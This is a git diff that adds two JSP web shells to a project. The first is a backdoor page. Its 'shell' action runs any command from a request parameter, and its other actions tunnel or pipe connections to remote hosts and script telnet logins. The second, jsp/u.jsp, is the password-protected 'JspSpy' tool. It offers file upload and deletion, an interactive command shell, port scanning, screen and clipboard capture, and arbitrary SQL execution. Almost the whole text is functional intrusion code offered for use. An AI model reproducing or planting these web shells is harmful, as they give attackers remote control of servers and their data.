+send(IACSB);send(TELOPT_TTYPE);send(TELQUAL_IS); +/* FIXME: need more logic here if we use +* more than one terminal type +*/ +Vector vec = new Vector(2); +vec.addElement("TTYPE"); +ttype = (String)notifyStatus(vec); +if(ttype == null) ttype = "dumb"; +byte[] bttype = new byte[ttype.length()]; + +ttype.getBytes(0,ttype.length(), bttype, 0); +send(bttype); +send(IACSE); +} + +} +} + +public Object notifyStatus(Vector status) { +if(debug > 0) +System.out.println("TelnetIO.notifyStatus("+status+")"); +return null; +} + +private byte[] negotiate(byte buf[], int count) throws IOException { +if(debug > 1) +System.out.println("TelnetIO.negotiate("+buf+","+count+")"); +byte nbuf[] = new byte[count]; +byte sbbuf[] = new byte[count]; +byte sendbuf[] = new byte[3]; +byte b,reply; +int sbcount = 0; +int boffset = 0, noffset = 0; +Vector vec = new Vector(2); + +while(boffset < count) { +b=buf[boffset++]; + +if (b>=128) +b=(byte)((int)b-256); +switch (neg_state) { +case STATE_DATA: +if (b==IAC) { +neg_state = STATE_IAC; +} else { +nbuf[noffset++]=b; +} +break; +case STATE_IAC: +switch (b) { +case IAC: +if(debug > 2) +System.out.print("IAC "); +neg_state = STATE_DATA; +nbuf[noffset++]=IAC; +break; +case WILL: +if(debug > 2) +System.out.print("WILL "); +neg_state = STATE_IACWILL; +break; +case WONT: +if(debug > 2) +System.out.print("WONT "); +neg_state = STATE_IACWONT; +break; +case DONT: +if(debug > 2) +System.out.print("DONT "); +neg_state = STATE_IACDONT; +break; +case DO: +if(debug > 2) +System.out.print("DO "); +neg_state = STATE_IACDO; +break; +case EOR: +if(debug > 2) +System.out.print("EOR "); +neg_state = STATE_DATA; +break; +case SB: +if(debug > 2) +System.out.print("SB "); +neg_state = STATE_IACSB; +sbcount = 0; +break; +default: +if(debug > 2) +System.out.print( +" " +); +neg_state = STATE_DATA; +break; +} +break; +case STATE_IACWILL: +switch(b) { +case TELOPT_ECHO: +if(debug > 2) +System.out.println("ECHO"); +reply = DO; +vec = new Vector(2); +vec.addElement("NOLOCALECHO"); +notifyStatus(vec); +break; +case TELOPT_EOR: +if(debug > 2) +System.out.println("EOR"); +reply = DO; +break; +default: +if(debug > 2) +System.out.println( +"" +); +reply = DONT; +break; +} +if(debug > 1) +System.out.println("<"+b+", WILL ="+WILL+">"); +if ( reply != sentDX[b+128] || +WILL != receivedWX[b+128] +) { +sendbuf[0]=IAC; +sendbuf[1]=reply; +sendbuf[2]=b; +send(sendbuf); +sentDX[b+128] = reply; +receivedWX[b+128] = WILL; +} +neg_state = STATE_DATA; +break; +case STATE_IACWONT: +switch(b) { +case TELOPT_ECHO: +if(debug > 2) +System.out.println("ECHO"); + +vec = new Vector(2); +vec.addElement("LOCALECHO"); +notifyStatus(vec); +reply = DONT; +break; +case TELOPT_EOR: +if(debug > 2) +System.out.println("EOR"); +reply = DONT; +break; +default: +if(debug > 2) +System.out.println( +"" +); +reply = DONT; +break; +} +if ( reply != sentDX[b+128] || +WONT != receivedWX[b+128] +) { +sendbuf[0]=IAC; +sendbuf[1]=reply; +sendbuf[2]=b; +send(sendbuf); +sentDX[b+128] = reply; +receivedWX[b+128] = WILL; +} +neg_state = STATE_DATA; +break; +case STATE_IACDO: +switch (b) { +case TELOPT_ECHO: +if(debug > 2) +System.out.println("ECHO"); +reply = WILL; +vec = new Vector(2); +vec.addElement("LOCALECHO"); +notifyStatus(vec); +break; +case TELOPT_TTYPE: +if(debug > 2) +System.out.println("TTYPE"); +reply = WILL; +break; +case TELOPT_NAWS: +if(debug > 2) +System.out.println("NAWS"); +vec = new Vector(2); +vec.addElement("NAWS"); +Dimension size = (Dimension) +notifyStatus(vec); +receivedDX[b] = DO; +if(size == null) +{ +/* this shouldn't happen */ +send(IAC); +send(WONT); +send(TELOPT_NAWS); +reply = WONT; +sentWX[b] = WONT; +break; +} +reply = WILL; +sentWX[b] = WILL; +sendbuf[0]=IAC; +sendbuf[1]=WILL; +sendbuf[2]=TELOPT_NAWS; +send(sendbuf); +send(IAC);send(SB);send(TELOPT_NAWS); +send((byte) (size.width >> 8)); +send((byte) (size.width & 0xff)); +send((byte) (size.height >> 8)); +send((byte) (size.height & 0xff)); +send(IAC);send(SE); +break; +default: +if(debug > 2) +System.out.println( +"" +); +reply = WONT; +break; +} +if ( reply != sentWX[128+b] || +DO != receivedDX[128+b] +) { +sendbuf[0]=IAC; +sendbuf[1]=reply; +sendbuf[2]=b; +send(sendbuf); +sentWX[b+128] = reply; +receivedDX[b+128] = DO; +} +neg_state = STATE_DATA; +break; +case STATE_IACDONT: +switch (b) { +case TELOPT_ECHO: +if(debug > 2) +System.out.println("ECHO"); +reply = WONT; +vec = new Vector(2); +vec.addElement("NOLOCALECHO"); +notifyStatus(vec); +break; +case TELOPT_NAWS: +if(debug > 2) +System.out.println("NAWS"); +reply = WONT; +break; +default: +if(debug > 2) +System.out.println( +"" +); +reply = WONT; +break; +} +if ( reply != sentWX[b+128] || +DONT != receivedDX[b+128] +) { +send(IAC);send(reply);send(b); +sentWX[b+128] = reply; +receivedDX[b+128] = DONT; +} +neg_state = STATE_DATA; +break; +case STATE_IACSBIAC: +if(debug > 2) System.out.println(""+b+" "); +if (b == IAC) { +sbcount = 0; +current_sb = b; +neg_state = STATE_IACSBDATA; +} else { +System.out.println("(bad) "+b+" "); +neg_state = STATE_DATA; +} +break; +case STATE_IACSB: +if(debug > 2) System.out.println(""+b+" "); +switch (b) { +case IAC: +neg_state = STATE_IACSBIAC; +break; +default: +current_sb = b; +sbcount = 0; +neg_state = STATE_IACSBDATA; +break; +} +break; +case STATE_IACSBDATA: +if (debug > 2) System.out.println(""+b+" "); +switch (b) { +case IAC: +neg_state = STATE_IACSBDATAIAC; +break; +default: +sbbuf[sbcount++] = b; +break; +} +break; +case STATE_IACSBDATAIAC: +if (debug > 2) System.out.println(""+b+" "); +switch (b) { +case IAC: +neg_state = STATE_IACSBDATA; +sbbuf[sbcount++] = IAC; +break; +case SE: +handle_sb(current_sb,sbbuf,sbcount); +current_sb = 0; +neg_state = STATE_DATA; +break; +case SB: +handle_sb(current_sb,sbbuf,sbcount); +neg_state = STATE_IACSB; +break; +default: +neg_state = STATE_DATA; +break; +} +break; +default: +if (debug > 2) +System.out.println( +"This should not happen: "+ +neg_state+" " +); +neg_state = STATE_DATA; +break; +} +} +buf = new byte[noffset]; +System.arraycopy(nbuf, 0, buf, 0, noffset); +return buf; +} +} + +class TelnetConnect +{ +TelnetIO tio = new TelnetIO(); +int port = 0; +public TelnetConnect(int port) +{ +this.port = port; +} + +public void connect() +{ +try { +tio.connect("localhost",port); +} catch(IOException e) {} +} + +public void disconnect() +{ +try{ +tio.disconnect(); +}catch(IOException e){} +} + +private String wait(String prompt) +{ +String tmp = ""; +do { +try { +tmp += new String(tio.receive(), 0); +}catch(IOException e) {} +} while(tmp.indexOf(prompt) == -1); +return tmp; +} + +private byte[] receive() +{ +byte[] temp = null; +try{ +temp = tio.receive(); +}catch(IOException e){} +return temp; +} + +private String waitshell() +{ +String tmp = ""; +do { +try { tmp += new String(tio.receive(), 0); } +catch(IOException e) {} +} while((tmp.indexOf("$") == -1)&&(tmp.indexOf("#") == -1)&&(tmp.indexOf("%") == -1)); +return tmp; +} + +private void send(String str) +{ +byte[] buf = new byte[str.length()]; +str.getBytes(0, str.length(), buf, 0); +try { tio.send(buf); } catch(IOException e) {} +} +} +%> +<% +String action = request.getParameter("action"); +String cmd = request.getParameter("cmd"); +String remoteHost = request.getParameter("remoteHost"); +String myIp = request.getParameter("myIp"); +String myPort = request.getParameter("myPort"); +String remotePort = request.getParameter("remotePort"); +String username = request.getParameter("username"); +String password = request.getParameter("password"); +String myShell = request.getParameter("myShell"); +if(action.equals("shell")){ +try { +Process child = Runtime.getRuntime().exec(cmd); +InputStream in = child.getInputStream(); +int c; +while ((c = in.read()) != -1) { out.print((char)c); } +in.close(); +try { child.waitFor();} catch (InterruptedException e) {} +} catch (IOException e) {} +}else if(action.equals("piped")){ +piped me = new piped(remoteHost,Integer.parseInt(remotePort),myIp,Integer.parseInt(myPort)); +}else if(action.equals("tunnel")){ +tunnel me = new tunnel(Integer.parseInt(myPort), +remoteHost, Integer.parseInt(remotePort)); +}else if(action.equals("login")){ +TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort)); +tc.connect(); +out.print(tc.wait("login:")); +tc.send(username+"\r"); +out.print(tc.wait("Password:")); +tc.send(password+"\r"); +out.print(tc.waitshell()); +tc.disconnect(); +}else if(action.equals("send")){ +TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort)); +tc.connect(); +tc.send(cmd+"\r"); +if(!myShell.equals("logout")) +out.print(tc.wait(myShell)); +tc.disconnect(); +}else if(action.equals("close")){ +try{ +Socket s = new Socket("127.0.0.1",Integer.parseInt(myPort)); +DataOutputStream dos = new DataOutputStream(s.getOutputStream()); +PrintStream ps = new PrintStream(dos); +ps.println("--GoodBye--"); +ps.close(); +dos.close(); +s.close(); +}catch(Exception e){} +}else{ +out.print("You Love Hacker Too?"); +} +%> diff --git a/jsp/u.jsp b/jsp/u.jsp new file mode 100644 index 0000000..4d9cacd --- /dev/null +++ b/jsp/u.jsp @@ -0,0 +1,2323 @@ +<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page import="java.sql.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +/** +* Code By Ninty +* Date 2009-12-17 +* Blog http://www.Forjj.com/ +* Yue . I Love You. +*/ +private static final String PW = "592714"; //password +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replace("&","&").replace("<","<").replace(">",">"); +str = str.replace(""+(char)13+(char)10,"
    "); +str = str.replace("\n","
    "); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuilder html = new StringBuilder(); +if (echoTableTag) +html.append(""); +for (Row r:rows) { +html.append(""); +for (Column c:r.getColumns()) { +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
    "); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append("
    "); +return html.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static double formatNumber(double value,int l) { +NumberFormat format = NumberFormat.getInstance(); +format.setMaximumFractionDigits(l); +format.setGroupingUsed(false); +return new Double(format.format(value)); +} +public static boolean isInteger(String v) { +if (isEmpty(v)) +return false; +return v.matches("^\\d+$"); +} +public static String formatDate(long time) { +SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); +return format.format(new java.util.Date(time)); +} +public static String convertPath(String path) { +return path != null ? path.replace("\\","/") : ""; +} +public static String htmlEncode(String v) { +if (isEmpty(v)) +return ""; +return v.replace("&","&").replace("<","<").replace(">",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +if (msg.indexOf("java.lang.ClassNotFoundException") != -1) +msg = "Can Not Find The Driver!
    " + msg; +out.write("
    "+msg+"
    "); +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private byte[] b = new byte[1024]; +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() { +try { +FileOutputStream out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +out.close(); +} catch (IOException ioe) { +ioe.printStackTrace(); +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +ins.get("login").invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +ins.get("vLogin").invoke(request,response,session); +return; +} else { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Codz By - Ninty"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (String fs:arr) { +File f = new File(currentDir,fs); +f.delete(); +} +} +JSession.setAttribute(MSG,"Delete Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    System Clipboard »

    "+ +"

    ");
    +try{
    +out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
    +}catch (Exception ex) {
    +out.println("ClipBoard is Empty Or Is Not Text Data !");
    +}
    +out.println("
    "+ +" "+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VRemoteControlInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    Remote Control »

    "+ +" Speed(Second , dont be so fast) Can Not Control Yet."+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//GetScreen +private static class GcInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); +Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight()); +BufferedImage img = new Robot().createScreenCapture(rec); +response.setContentType("image/jpeg"); +ImageIO.write(img,"jpg",response.getOutputStream()); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
    "+ +"

    PortScan >>

    "+ +"
    "+ +"

    "+ +"IP : Port : Timeout ?????? : "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +ins.get("vPortScan").invoke(request,response,JSession); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (String port:portArr) { +try { +Socket s = new Socket(); +s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout); +s.close(); +rs.put(port,"Open"); +} catch (Exception e) { +rs.put(port,"Close"); +} +} +out.println("
    "); +Set> entrySet = rs.entrySet(); +for (Map.Entry e:entrySet) { +String port = e.getKey(); +String value = e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
    "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +out.println("
    "+ +"

    Run SQL query/queries on database :

    "); +} catch (Exception e) { +//e.printStackTrace(); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +response.sendRedirect(SHELL_NAME+"?o=vConn"); +} else { +ins.get("dbc").invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("

    Query#0 : "+Util.htmlEncode(sql)+"

    "); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +r.addColumn(new Column(rs.getString(i))); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
    "+meta.getColumnName(i)+"
    "+meta.getColumnTypeName(i)+"
    "); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("

    affected rows : "+obj+"

    "); +} +} +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +"

    Password: "+ +" "+ +" "+ +" "+ +"

    "+ +" "+ +"Copyright © 2009 NinTy www.Forjj.com

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(File f1,File f2) { +if (f1 != null && f2!= null) { +if (f1.isDirectory()) { +if (f2.isDirectory()) { +return f1.getName().compareTo(f2.getName()); +} else { +return -1; +} +} else { +if (f2.isDirectory()) { +return 1; +} else { +return f1.getName().compareTo(f2.getName()); +} +} +} +return 0; +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +File file = new File(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} 